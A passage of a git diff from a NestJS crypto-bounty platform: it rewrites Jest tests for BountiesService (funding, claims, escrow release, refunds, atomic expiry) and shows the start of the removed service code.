-      save: jest.fn((b: Partial<Bounty>) => Promise.resolve(b)),
-      create: jest.fn((data: Partial<Bounty>) => ({
-        id: 'bounty-1',
-        status: BountyStatus.OPEN,
-        ...data,
-      })),
-      find: jest.fn(),
-      createQueryBuilder: jest.fn(),
-    };
-    userRepo = { findOne: jest.fn(), find: jest.fn() };
-    teamRepo = { findOne: jest.fn() };
-    escrowService = {
-      fund: jest.fn().mockResolvedValue({ id: 'escrow-1', status: 'locked' }),
-      release: jest.fn().mockResolvedValue(undefined),
-      splitRelease: jest.fn().mockResolvedValue([]),
-      refund: jest.fn().mockResolvedValue(undefined),
-    };
-
-    const module: TestingModule = await Test.createTestingModule({
-      providers: [
-        BountiesService,
-        { provide: getRepositoryToken(Bounty), useValue: bountyRepo },
-        { provide: getRepositoryToken(User), useValue: userRepo },
-        { provide: getRepositoryToken(Team), useValue: teamRepo },
-        { provide: EscrowService, useValue: escrowService },
-        { provide: EventEmitter2, useValue: { emit: jest.fn() } },
-      ],
-    }).compile();
-
-    service = module.get(BountiesService);
-  });
-
-  it('creates a bounty in OPEN status', async () => {
-    const bounty = await service.create({
-      issueId: 'issue-1',
-      sponsorId: 'sponsor-1',
-      amount: '100',
-      asset: AssetType.USDC,
-      difficulty: BountyDifficulty.INTERMEDIATE,
-    });
-    expect(bounty.status).toBe(BountyStatus.OPEN);
-  });
-
-  it('funding an OPEN bounty locks escrow and moves it to FUNDED', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.OPEN,
-      amount: '100',
-      asset: AssetType.USDC,
-      sponsorId: 'sponsor-1',
-    });
-
-    const bounty = await service.fund('b1', 'GFUNDER');
-
-    expect(escrowService.fund).toHaveBeenCalledWith(
-      expect.objectContaining({
-        bountyId: 'b1',
-        funderAddress: 'GFUNDER',
-        sponsorId: 'sponsor-1',
-      }),
-    );
-    expect(bounty.status).toBe(BountyStatus.FUNDED);
-  });
-
-  it('threads the linked GitHub issue id and deadline into escrow.fund (#158)', async () => {
-    const deadline = new Date('2026-12-01T00:00:00.000Z');
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.OPEN,
-      amount: '100',
-      asset: AssetType.USDC,
-      sponsorId: 'sponsor-1',
-      deadline,
-      issue: { githubIssueId: '2891234567' },
-    });
-
-    await service.fund('b1', 'GFUNDER');
-
-    expect(escrowService.fund).toHaveBeenCalledWith(
-      expect.objectContaining({
-        onChainIssueId: '2891234567',
-        deadline,
-      }),
-    );
-  });
-
-  it('rejects funding a bounty that is already FUNDED', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.FUNDED,
-    });
-    await expect(service.fund('b1', 'GFUNDER')).rejects.toThrow(
-      InvalidBountyTransitionError,
-    );
-  });
-
-  it('rejects claiming a bounty that is still OPEN (not yet funded)', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.OPEN,
-    });
-    await expect(service.claim('b1', 'contributor-1')).rejects.toThrow(
-      InvalidBountyTransitionError,
-    );
-  });
-
-  it('claim moves FUNDED -> CLAIMED and records the caller as claimant', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.FUNDED,
-    });
-    userRepo.findOne.mockResolvedValue({
-      id: 'contributor-1',
-      stellarAddress: 'GCONTRIB',
-    });
-    const bounty = await service.claim('b1', 'contributor-1');
-    expect(userRepo.findOne).toHaveBeenCalledWith({
-      where: { id: 'contributor-1' },
-    });
-    expect(bounty.status).toBe(BountyStatus.CLAIMED);
-    expect(bounty.claimedById).toBe('contributor-1');
-  });
-
-  it('claim rejects a caller that is not a known user', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.FUNDED,
-    });
-    userRepo.findOne.mockResolvedValue(null);
-    await expect(service.claim('b1', 'ghost')).rejects.toThrow(
-      BadRequestException,
-    );
-  });
-
-  it('claim rejects a caller without a linked Stellar address', async () => {
-    const stored = { id: 'b1', status: BountyStatus.FUNDED, claimedById: null };
-    bountyRepo.findOne.mockResolvedValue(stored);
-    userRepo.findOne.mockResolvedValue({
-      id: 'contributor-1',
-      stellarAddress: null,
-    });
-    await expect(service.claim('b1', 'contributor-1')).rejects.toThrow(
-      BadRequestException,
-    );
-    expect(stored.claimedById).toBeNull();
-  });
-
-  it('markMergedAndRelease releases escrow to the contributor and moves to PAID', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.IN_REVIEW,
-      escrowId: 'escrow-1',
-      claimedById: 'contributor-1',
-      teamId: null,
-    });
-    userRepo.findOne.mockResolvedValue({
-      id: 'contributor-1',
-      stellarAddress: 'GCONTRIB',
-    });
-
-    const bounty = await service.markMergedAndRelease('b1');
-
-    expect(escrowService.release).toHaveBeenCalledWith(
-      'escrow-1',
-      'GCONTRIB',
-      'contributor-1',
-    );
-    expect(bounty.status).toBe(BountyStatus.PAID);
-  });
-
-  it('markMergedAndRelease batches user lookups for team splits', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.IN_REVIEW,
-      escrowId: 'escrow-1',
-      claimedById: null,
-      teamId: 'team-1',
-    });
-    teamRepo.findOne.mockResolvedValue({
-      id: 'team-1',
-      splits: [
-        { userId: 'u1', percentage: 60 },
-        { userId: 'u2', percentage: 40 },
-      ],
-    });
-    userRepo.find.mockResolvedValue([
-      { id: 'u1', stellarAddress: 'GADDR1' },
-      { id: 'u2', stellarAddress: 'GADDR2' },
-    ]);
-
-    const bounty = await service.markMergedAndRelease('b1');
-
-    expect(userRepo.find).toHaveBeenCalledTimes(1);
-    const findCall = userRepo.find.mock.calls[0][0];
-    expect(findCall.where.id._value).toEqual(
-      expect.arrayContaining(['u1', 'u2']),
-    );
-    expect(escrowService.splitRelease).toHaveBeenCalledWith('escrow-1', [
-      { recipientId: 'u1', recipientAddress: 'GADDR1', percentage: 60 },
-      { recipientId: 'u2', recipientAddress: 'GADDR2', percentage: 40 },
-    ]);
-    expect(bounty.status).toBe(BountyStatus.PAID);
-  });
-
-  it('refund calls escrowService.refund and moves bounty to REFUNDED', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.FUNDED,
-      escrowId: 'escrow-1',
-    });
-
-    const bounty = await service.refund('b1');
-
-    expect(escrowService.refund).toHaveBeenCalledWith('escrow-1');
-    expect(bounty.status).toBe(BountyStatus.REFUNDED);
-  });
-
-  it('refund skips escrow refund when no escrow is linked', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.OPEN,
-      escrowId: null,
-    });
-
-    const bounty = await service.refund('b1');
-
-    expect(escrowService.refund).not.toHaveBeenCalled();
-    expect(bounty.status).toBe(BountyStatus.REFUNDED);
-  });
-
-  it('expireOverdue flips overdue bounties to EXPIRED and returns count', async () => {
-    const overdueBounties = [
-      { id: 'b1', status: BountyStatus.OPEN },
-      { id: 'b2', status: BountyStatus.FUNDED },
-    ];
-    const mockQueryBuilder = {
-      where: jest.fn().mockReturnThis(),
-      andWhere: jest.fn().mockReturnThis(),
-      getMany: jest.fn().mockResolvedValue(overdueBounties),
-    };
-    bountyRepo.createQueryBuilder.mockReturnValue(mockQueryBuilder);
-
-    const count = await service.expireOverdue();
-
-    expect(count).toBe(2);
-    expect(bountyRepo.save).toHaveBeenCalledTimes(2);
-    expect(overdueBounties[0].status).toBe(BountyStatus.EXPIRED);
-    expect(overdueBounties[1].status).toBe(BountyStatus.EXPIRED);
-  });
-
-  it('markPrClosedWithoutMerge transitions IN_REVIEW back to CLAIMED', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.IN_REVIEW,
-      prUrl: 'https://github.com/x/y/pull/1',
-      prNumber: 1,
-    });
-
-    const bounty = await service.markPrClosedWithoutMerge('b1');
-
-    expect(bounty.status).toBe(BountyStatus.CLAIMED);
-    expect(bounty.prUrl).toBeNull();
-    expect(bounty.prNumber).toBeNull();
-  });
-
-  it('markPrClosedWithoutMerge rejects bounties not in IN_REVIEW', async () => {
-    bountyRepo.findOne.mockResolvedValue({
-      id: 'b1',
-      status: BountyStatus.CLAIMED,
-    });
-
-    await expect(service.markPrClosedWithoutMerge('b1')).rejects.toThrow(
-      InvalidBountyTransitionError,
-    );
-  });
-
-  it('lists bounties with repository and language filters', async () => {
-    const qb = {
-      leftJoinAndSelect: jest.fn().mockReturnThis(),
-      andWhere: jest.fn().mockReturnThis(),
-      getMany: jest.fn().mockResolvedValue([]),
-    };
-    bountyRepo.createQueryBuilder.mockReturnValue(qb);
-
-    await service.list({
-      status: BountyStatus.OPEN,
-      difficulty: BountyDifficulty.BEGINNER,
-      asset: AssetType.USDC,
-      repositoryId: 'repo-1',
-      primaryLanguage: 'TypeScript',
-    });
-
-    expect(bountyRepo.createQueryBuilder).toHaveBeenCalledWith('bounty');
-    expect(qb.leftJoinAndSelect).toHaveBeenCalledWith('bounty.issue', 'issue');
-    expect(qb.leftJoinAndSelect).toHaveBeenCalledWith(
-      'issue.repository',
-      'repository',
-    );
-    expect(qb.andWhere).toHaveBeenCalledWith('bounty.status = :status', {
-      status: BountyStatus.OPEN,
-    });
-    expect(qb.andWhere).toHaveBeenCalledWith(
-      'bounty.difficulty = :difficulty',
-      { difficulty: BountyDifficulty.BEGINNER },
-    );
-    expect(qb.andWhere).toHaveBeenCalledWith('bounty.asset = :asset', {
-      asset: AssetType.USDC,
-    });
-    expect(qb.andWhere).toHaveBeenCalledWith(
-      'issue.repositoryId = :repositoryId',
-      { repositoryId: 'repo-1' },
-    );
-    expect(qb.andWhere).toHaveBeenCalledWith(
-      'repository.primaryLanguage = :primaryLanguage',
-      { primaryLanguage: 'TypeScript' },
-    );
-  });
-});
-
-// Standalone: approve/reject touch no dependencies, so they're tested without
-// the shared TestingModule above.
-describe('BountiesService approve / reject (#533)', () => {
-  const service = Object.create(BountiesService.prototype) as BountiesService;
-
-  it('answer 501 instead of reporting a fake approval or rejection', async () => {
-    await expect(service.approve('b1')).rejects.toBeInstanceOf(
-      NotImplementedException,
-    );
-    await expect(service.reject('b1')).rejects.toBeInstanceOf(
-      NotImplementedException,
-    );
-  });
-});
+import { BadRequestException, NotImplementedException } from '@nestjs/common';
+import { Test, TestingModule } from '@nestjs/testing';
+import { getRepositoryToken } from '@nestjs/typeorm';
+import { EventEmitter2 } from '@nestjs/event-emitter';
+import { BountiesService } from './bounties.service';
+import { EscrowService } from '../escrow/escrow.service';
+import { Bounty, Team, User } from '../common/entities';
+import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums';
+import { InvalidBountyTransitionError } from './bounty-state-machine';
+
+describe('BountiesService', () => {
+  let service: BountiesService;
+  let bountyRepo: {
+    findOne: jest.Mock;
+    save: jest.Mock;
+    create: jest.Mock;
+    find: jest.Mock;
+    createQueryBuilder: jest.Mock;
+  };
+  let userRepo: { findOne: jest.Mock; find: jest.Mock };
+  let teamRepo: { findOne: jest.Mock };
+  let escrowService: {
+    fund: jest.Mock;
+    release: jest.Mock;
+    splitRelease: jest.Mock;
+    refund: jest.Mock;
+  };
+
+  beforeEach(async () => {
+    bountyRepo = {
+      findOne: jest.fn(),
+      save: jest.fn((b: Partial<Bounty>) => Promise.resolve(b)),
+      create: jest.fn((data: Partial<Bounty>) => ({
+        id: 'bounty-1',
+        status: BountyStatus.OPEN,
+        ...data,
+      })),
+      find: jest.fn(),
+      createQueryBuilder: jest.fn(),
+    };
+    userRepo = { findOne: jest.fn(), find: jest.fn() };
+    teamRepo = { findOne: jest.fn() };
+    escrowService = {
+      fund: jest.fn().mockResolvedValue({ id: 'escrow-1', status: 'locked' }),
+      release: jest.fn().mockResolvedValue(undefined),
+      splitRelease: jest.fn().mockResolvedValue([]),
+      refund: jest.fn().mockResolvedValue(undefined),
+    };
+
+    const module: TestingModule = await Test.createTestingModule({
+      providers: [
+        BountiesService,
+        { provide: getRepositoryToken(Bounty), useValue: bountyRepo },
+        { provide: getRepositoryToken(User), useValue: userRepo },
+        { provide: getRepositoryToken(Team), useValue: teamRepo },
+        { provide: EscrowService, useValue: escrowService },
+        { provide: EventEmitter2, useValue: { emit: jest.fn() } },
+      ],
+    }).compile();
+
+    service = module.get(BountiesService);
+  });
+
+  it('creates a bounty in OPEN status', async () => {
+    const bounty = await service.create({
+      issueId: 'issue-1',
+      sponsorId: 'sponsor-1',
+      amount: '100',
+      asset: AssetType.USDC,
+      difficulty: BountyDifficulty.INTERMEDIATE,
+    });
+    expect(bounty.status).toBe(BountyStatus.OPEN);
+  });
+
+  it('funding an OPEN bounty locks escrow and moves it to FUNDED', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.OPEN,
+      amount: '100',
+      asset: AssetType.USDC,
+      sponsorId: 'sponsor-1',
+    });
+
+    const bounty = await service.fund('b1', 'GFUNDER');
+
+    expect(escrowService.fund).toHaveBeenCalledWith(
+      expect.objectContaining({
+        bountyId: 'b1',
+        funderAddress: 'GFUNDER',
+        sponsorId: 'sponsor-1',
+      }),
+    );
+    expect(bounty.status).toBe(BountyStatus.FUNDED);
+  });
+
+  it('threads the linked GitHub issue id and deadline into escrow.fund (#158)', async () => {
+    const deadline = new Date('2026-12-01T00:00:00.000Z');
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.OPEN,
+      amount: '100',
+      asset: AssetType.USDC,
+      sponsorId: 'sponsor-1',
+      deadline,
+      issue: { githubIssueId: '2891234567' },
+    });
+
+    await service.fund('b1', 'GFUNDER');
+
+    expect(escrowService.fund).toHaveBeenCalledWith(
+      expect.objectContaining({
+        onChainIssueId: '2891234567',
+        deadline,
+      }),
+    );
+  });
+
+  it('rejects funding a bounty that is already FUNDED', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.FUNDED,
+    });
+    await expect(service.fund('b1', 'GFUNDER')).rejects.toThrow(
+      InvalidBountyTransitionError,
+    );
+  });
+
+  it('rejects claiming a bounty that is still OPEN (not yet funded)', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.OPEN,
+    });
+    await expect(service.claim('b1', 'contributor-1')).rejects.toThrow(
+      InvalidBountyTransitionError,
+    );
+  });
+
+  it('claim moves FUNDED -> CLAIMED and records the caller as claimant', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.FUNDED,
+    });
+    userRepo.findOne.mockResolvedValue({
+      id: 'contributor-1',
+      stellarAddress: 'GCONTRIB',
+    });
+    const bounty = await service.claim('b1', 'contributor-1');
+    expect(userRepo.findOne).toHaveBeenCalledWith({
+      where: { id: 'contributor-1' },
+    });
+    expect(bounty.status).toBe(BountyStatus.CLAIMED);
+    expect(bounty.claimedById).toBe('contributor-1');
+  });
+
+  it('claim rejects a caller that is not a known user', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.FUNDED,
+    });
+    userRepo.findOne.mockResolvedValue(null);
+    await expect(service.claim('b1', 'ghost')).rejects.toThrow(
+      BadRequestException,
+    );
+  });
+
+  it('claim rejects a caller without a linked Stellar address', async () => {
+    const stored = { id: 'b1', status: BountyStatus.FUNDED, claimedById: null };
+    bountyRepo.findOne.mockResolvedValue(stored);
+    userRepo.findOne.mockResolvedValue({
+      id: 'contributor-1',
+      stellarAddress: null,
+    });
+    await expect(service.claim('b1', 'contributor-1')).rejects.toThrow(
+      BadRequestException,
+    );
+    expect(stored.claimedById).toBeNull();
+  });
+
+  it('markMergedAndRelease releases escrow to the contributor and moves to PAID', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.IN_REVIEW,
+      escrowId: 'escrow-1',
+      claimedById: 'contributor-1',
+      teamId: null,
+    });
+    userRepo.findOne.mockResolvedValue({
+      id: 'contributor-1',
+      stellarAddress: 'GCONTRIB',
+    });
+
+    const bounty = await service.markMergedAndRelease('b1');
+
+    expect(escrowService.release).toHaveBeenCalledWith(
+      'escrow-1',
+      'GCONTRIB',
+      'contributor-1',
+    );
+    expect(bounty.status).toBe(BountyStatus.PAID);
+  });
+
+  it('markMergedAndRelease batches user lookups for team splits', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.IN_REVIEW,
+      escrowId: 'escrow-1',
+      claimedById: null,
+      teamId: 'team-1',
+    });
+    teamRepo.findOne.mockResolvedValue({
+      id: 'team-1',
+      splits: [
+        { userId: 'u1', percentage: 60 },
+        { userId: 'u2', percentage: 40 },
+      ],
+    });
+    userRepo.find.mockResolvedValue([
+      { id: 'u1', stellarAddress: 'GADDR1' },
+      { id: 'u2', stellarAddress: 'GADDR2' },
+    ]);
+
+    const bounty = await service.markMergedAndRelease('b1');
+
+    expect(userRepo.find).toHaveBeenCalledTimes(1);
+    const findCall = userRepo.find.mock.calls[0][0];
+    expect(findCall.where.id._value).toEqual(
+      expect.arrayContaining(['u1', 'u2']),
+    );
+    expect(escrowService.splitRelease).toHaveBeenCalledWith('escrow-1', [
+      { recipientId: 'u1', recipientAddress: 'GADDR1', percentage: 60 },
+      { recipientId: 'u2', recipientAddress: 'GADDR2', percentage: 40 },
+    ]);
+    expect(bounty.status).toBe(BountyStatus.PAID);
+  });
+
+  it('refund calls escrowService.refund and moves bounty to REFUNDED', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.FUNDED,
+      escrowId: 'escrow-1',
+    });
+
+    const bounty = await service.refund('b1');
+
+    expect(escrowService.refund).toHaveBeenCalledWith('escrow-1');
+    expect(bounty.status).toBe(BountyStatus.REFUNDED);
+  });
+
+  it('refund skips escrow refund when no escrow is linked', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.OPEN,
+      escrowId: null,
+    });
+
+    const bounty = await service.refund('b1');
+
+    expect(escrowService.refund).not.toHaveBeenCalled();
+    expect(bounty.status).toBe(BountyStatus.REFUNDED);
+  });
+
+  it('expireOverdue atomically flips overdue bounties to EXPIRED via a conditional update and returns affected count', async () => {
+    const qb = {
+      update: jest.fn().mockReturnThis(),
+      set: jest.fn().mockReturnThis(),
+      where: jest.fn().mockReturnThis(),
+      andWhere: jest.fn().mockReturnThis(),
+      execute: jest.fn().mockResolvedValue({ affected: 2 }),
+    };
+    bountyRepo.createQueryBuilder.mockReturnValue(qb);
+
+    const count = await service.expireOverdue();
+
+    expect(count).toBe(2);
+    expect(qb.set).toHaveBeenCalledWith({ status: BountyStatus.EXPIRED });
+    expect(qb.andWhere).toHaveBeenCalledWith(
+      'status IN (:...statuses)',
+      { statuses: [BountyStatus.OPEN, BountyStatus.FUNDED, BountyStatus.CLAIMED] },
+    );
+    expect(bountyRepo.save).not.toHaveBeenCalled();
+  });
+
+  it('expireOverdue does not expire a bounty whose status advanced after it was read', async () => {
+    // Simulates a concurrent webhook moving CLAIMED -> IN_REVIEW between the
+    // scan and the write: the conditional UPDATE matches zero rows.
+    const qb = {
+      update: jest.fn().mockReturnThis(),
+      set: jest.fn().mockReturnThis(),
+      where: jest.fn().mockReturnThis(),
+      andWhere: jest.fn().mockReturnThis(),
+      execute: jest.fn().mockResolvedValue({ affected: 0 }),
+    };
+    bountyRepo.createQueryBuilder.mockReturnValue(qb);
+
+    const count = await service.expireOverdue();
+
+    expect(count).toBe(0);
+    expect(qb.andWhere).toHaveBeenCalledWith(
+      'status IN (:...statuses)',
+      { statuses: [BountyStatus.OPEN, BountyStatus.FUNDED, BountyStatus.CLAIMED] },
+    );
+    expect(bountyRepo.save).not.toHaveBeenCalled();
+  });
+
+  it('markPrClosedWithoutMerge transitions IN_REVIEW back to CLAIMED', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.IN_REVIEW,
+      prUrl: 'https://github.com/x/y/pull/1',
+      prNumber: 1,
+    });
+
+    const bounty = await service.markPrClosedWithoutMerge('b1');
+
+    expect(bounty.status).toBe(BountyStatus.CLAIMED);
+    expect(bounty.prUrl).toBeNull();
+    expect(bounty.prNumber).toBeNull();
+  });
+
+  it('markPrClosedWithoutMerge rejects bounties not in IN_REVIEW', async () => {
+    bountyRepo.findOne.mockResolvedValue({
+      id: 'b1',
+      status: BountyStatus.CLAIMED,
+    });
+
+    await expect(service.markPrClosedWithoutMerge('b1')).rejects.toThrow(
+      InvalidBountyTransitionError,
+    );
+  });
+
+  it('lists bounties with repository and language filters', async () => {
+    const qb = {
+      leftJoinAndSelect: jest.fn().mockReturnThis(),
+      andWhere: jest.fn().mockReturnThis(),
+      getMany: jest.fn().mockResolvedValue([]),
+    };
+    bountyRepo.createQueryBuilder.mockReturnValue(qb);
+
+    await service.list({
+      status: BountyStatus.OPEN,
+      difficulty: BountyDifficulty.BEGINNER,
+      asset: AssetType.USDC,
+      repositoryId: 'repo-1',
+      primaryLanguage: 'TypeScript',
+    });
+
+    expect(bountyRepo.createQueryBuilder).toHaveBeenCalledWith('bounty');
+    expect(qb.leftJoinAndSelect).toHaveBeenCalledWith('bounty.issue', 'issue');
+    expect(qb.leftJoinAndSelect).toHaveBeenCalledWith(
+      'issue.repository',
+      'repository',
+    );
+    expect(qb.andWhere).toHaveBeenCalledWith('bounty.status = :status', {
+      status: BountyStatus.OPEN,
+    });
+    expect(qb.andWhere).toHaveBeenCalledWith(
+      'bounty.difficulty = :difficulty',
+      { difficulty: BountyDifficulty.BEGINNER },
+    );
+    expect(qb.andWhere).toHaveBeenCalledWith('bounty.asset = :asset', {
+      asset: AssetType.USDC,
+    });
+    expect(qb.andWhere).toHaveBeenCalledWith(
+      'issue.repositoryId = :repositoryId',
+      { repositoryId: 'repo-1' },
+    );
+    expect(qb.andWhere).toHaveBeenCalledWith(
+      'repository.primaryLanguage = :primaryLanguage',
+      { primaryLanguage: 'TypeScript' },
+    );
+  });
+});
+
+// Standalone: approve/reject touch no dependencies, so they're tested without
+// the shared TestingModule above.
+describe('BountiesService approve / reject (#533)', () => {
+  const service = Object.create(BountiesService.prototype) as BountiesService;
+
+  it('answer 501 instead of reporting a fake approval or rejection', async () => {
+    await expect(service.approve('b1')).rejects.toBeInstanceOf(
+      NotImplementedException,
+    );
+    await expect(service.reject('b1')).rejects.toBeInstanceOf(
+      NotImplementedException,
+    );
+  });
+});
diff --git a/src/bounties/bounties.service.ts b/src/bounties/bounties.service.ts
index b1a0f8a5..76cae06c 100644
--- a/src/bounties/bounties.service.ts
+++ b/src/bounties/bounties.service.ts
@@ -1,356 +1,355 @@
-import {
-  BadRequestException,
-  ForbiddenException,
-  Injectable,
-  NotFoundException,
-  NotImplementedException,
-  Optional,
-} from '@nestjs/common';
-import { EventEmitter2 } from '@nestjs/event-emitter';
-import { InjectRepository } from '@nestjs/typeorm';
-import { In, Repository } from 'typeorm';
-import { Bounty, Issue, Team, User } from '../common/entities';
-import { AssetType, BountyDifficulty, BountyStatus } from '../common/enums';
-import { ANALYTICS_PLATFORM_INVALIDATE_EVENT } from '../analytics/analytics.events';
-import { assertTransition } from './bounty-state-machine';
-import { EscrowService } from '../escrow/escrow.service';
-import { CreateBountyDto } from './dto/create-bounty.dto';
-
-export interface ListBountiesOptions {
-  status?: BountyStatus;
-  difficulty?: BountyDifficulty;
-  asset?: AssetType;
-  repositoryId?: string;
-  primaryLanguage?: string;
-}
-
-@Injectable()
-export class BountiesService {
-  constructor(
-    @InjectRepository(Bounty) private readonly bountyRepo: Repository<Bounty>,
-    @InjectRepository(User) private readonly userRepo: Repository<User>,
-    @InjectRepository(Team) private readonly teamRepo: Repository<Team>,
-    @InjectRepository(Issue) private readonly issueRepo: Repository<Issue>,
-    private readonly escrowService: EscrowService,
-    @Optional() private readonly eventEmitter?: EventEmitter2,
-  ) {}
-
-  async create(dto: CreateBountyDto, callerUserId: string): Promise<Bounty> {
-    // Verify issueId exists
-    const issueExists = await this.issueRepo.findOne({
-      where: { id: dto.issueId },
-    });
-    if (!issueExists) {
-      throw new NotFoundException(`Issue ${dto.issueId} not found`);
-    }
-
-    // Verify sponsorId exists
-    const sponsorExists = await this.userRepo.findOne({
-      where: { id: dto.sponsorId },
-    });
-    if (!sponsorExists) {
-      throw new NotFoundException(`Sponsor ${dto.sponsorId} not found`);
-    }
-
-    const bounty = this.bountyRepo.create({
-      issueId: dto.issueId,
-      sponsorId: dto.sponsorId,
-      amount: dto.amount,
-      asset: dto.asset,
-      difficulty: dto.difficulty,
-      deadline: dto.deadline ? new Date(dto.deadline) : null,
-      status: BountyStatus.OPEN,
-    });
-    const saved = await this.bountyRepo.save(bounty);
-    this.eventEmitter?.emit(ANALYTICS_PLATFORM_INVALIDATE_EVENT);
-    return saved;
-  }
-
-  async findOne(id: string): Promise<Bounty> {
-    const bounty = await this.bountyRepo.findOne({
-      where: { id },
-      relations: {
-        issue: { repository: true },
-        claimedBy: true,
-        team: { splits: true },
-      },
-    });
-    if (!bounty) throw new NotFoundException(`Bounty ${id} not found`);
-    return bounty;
-  }
-
-  /** Sponsor funds the bounty: locks the amount in the escrow contract and moves OPEN -> FUNDED. */
-  async fund(
-    id: string,
-    funderAddress: string,
-    callerUserId: string,
-  ): Promise<Bounty> {
-    const bounty = await this.bountyRepo.findOne({
-      where: { id },
-      relations: { issue: true },
-    });
-    if (!bounty) throw new NotFoundException(`Bounty ${id} not found`);
-
-    // Verify caller is the sponsor (or admin - admin role checked by guard)
-    if (bounty.sponsorId !== callerUserId) {
-      throw new ForbiddenException(
-        'Only the bounty sponsor can fund this bounty',
-      );
-    }
-
-    assertTransition(bounty.status, BountyStatus.FUNDED);
-
-    const escrow = await this.escrowService.fund({
-      amount: bounty.amount,
-      asset: bounty.asset,
-      funderAddress,
-      bountyId: bounty.id,
-      sponsorId: bounty.sponsorId,
-      // The on-chain escrow contract is keyed by the GitHub issue id (#158).
-      onChainIssueId: bounty.issue?.githubIssueId ?? null,
-      deadline: bounty.deadline,
-    });
-
-    bounty.escrow = escrow;
-    bounty.escrowId = escrow.id;
-    bounty.status = BountyStatus.FUNDED;
-    return this.bountyRepo.save(bounty);
-  }
-
-  /** Contributor claims a funded bounty. */
-  async claim(id: string, callerUserId: string): Promise<Bounty> {
-    const bounty = await this.findOne(id);
-    assertTransition(bounty.status, BountyStatus.CLAIMED);
-
-    // The claimant is always the authenticated caller (#469); never a client-supplied id.
-    const contributor = await this.userRepo.findOne({
-      where: { id: callerUserId },
-    });
-    if (!contributor) {
-      throw new BadRequestException(
-        `Contributor ${callerUserId} does not correspond to a known user`,
-      );
-    }
-    if (!contributor.stellarAddress) {
-      throw new BadRequestException(
-        `Contributor ${callerUserId} has no linked Stellar address`,
-      );
-    }
-
-    bounty.claimedById = callerUserId;
-    bounty.status = BountyStatus.CLAIMED;
-    bounty.claimedAt = new Date();
-    return this.bountyRepo.save(bounty);
-  }
-
-  /** A PR referencing the issue was opened. */
-  async markInReview(
-    id: string,
-    prUrl: string,
-    prNumber: number,
-  ): Promise<Bounty> {
-    const bounty = await this.findOne(id);
-    assertTransition(bounty.status, BountyStatus.IN_REVIEW);
-
-    bounty.status = BountyStatus.IN_REVIEW;
-    bounty.prUrl = prUrl;
-    bounty.prNumber = prNumber;
-    return this.bountyRepo.save(bounty);
-  }
-
-  /** The linked PR was closed without merging — move bounty back to CLAIMED. */
-  async markPrClosedWithoutMerge(id: string): Promise<Bounty> {
-    const bounty = await this.findOne(id);
-    assertTransition(bounty.status, BountyStatus.CLAIMED);
-
-    bounty.status = BountyStatus.CLAIMED;
-    bounty.prUrl = null;
-    bounty.prNumber = null;
-    return this.bountyRepo.save(bounty);
-  }
-
-  /**
-   * The linked PR was merged on GitHub. Transitions to MERGED and immediately
-   * triggers the escrow release (single recipient or team split), moving to
-   * PAID once the on-chain release call succeeds.
-   */
-  async markMergedAndRelease(id: string): Promise<Bounty> {
-    const bounty = await this.findOne(id);
-    assertTransition(bounty.status, BountyStatus.MERGED);
-
-    const previousStatus = bounty.status;
-    bounty.status = BountyStatus.MERGED;
-    bounty.mergedAt = new Date();
-    await this.bountyRepo.save(bounty);
-
-    if (!bounty.escrowId) {
-      // No escrow was ever funded (e.g. informally tracked bounty) — nothing to release.
-      return bounty;
-    }
-
-    try {
-      if (bounty.teamId) {
-        const team = await this.teamRepo.findOne({
-          where: { id: bounty.teamId },
-          relations: { splits: true },
-        });
-        if (team && team.splits.length > 0) {
-          const userIds = team.splits.map((s) => s.userId);
-          const users = await this.userRepo.find({
-            where: { id: In(userIds) },
-          });
-          const userMap = new Map(users.map((u) => [u.id, u]));
-          const recipients = team.splits.map((split) => {
-            const user = userMap.get(split.userId);
-            return {
-              recipientId: split.userId,
-              recipientAddress: user?.stellarAddress ?? '',
-              percentage: Number(split.percentage),
-            };
-          });
-          await this.escrowService.splitRelease(bounty.escrowId, recipients);
-        }
-      } else if (bounty.claimedById) {
-        const contributor = await this.userRepo.findOne({
-          where: { id: bounty.claimedById },
-        });
-        await this.escrowService.release(
-          bounty.escrowId,
-          contributor?.stellarAddress ?? '',
-          bounty.claimedById,
-        );
-      }
-    } catch (err) {
-      // Escrow release failed — transition to RELEASE_FAILED so the bounty
-      // is not permanently stuck. A retry via markMergedAndRelease is
-      // possible because the state machine allows RELEASE_FAILED -> MERGED.
-      assertTransition(bounty.status, BountyStatus.RELEASE_FAILED);
-      bounty.status = BountyStatus.RELEASE_FAILED;
-      await this.bountyRepo.save(bounty);
-      throw err;
-    }
-
-    assertTransition(bounty.status, BountyStatus.PAID);
-    bounty.status = BountyStatus.PAID;
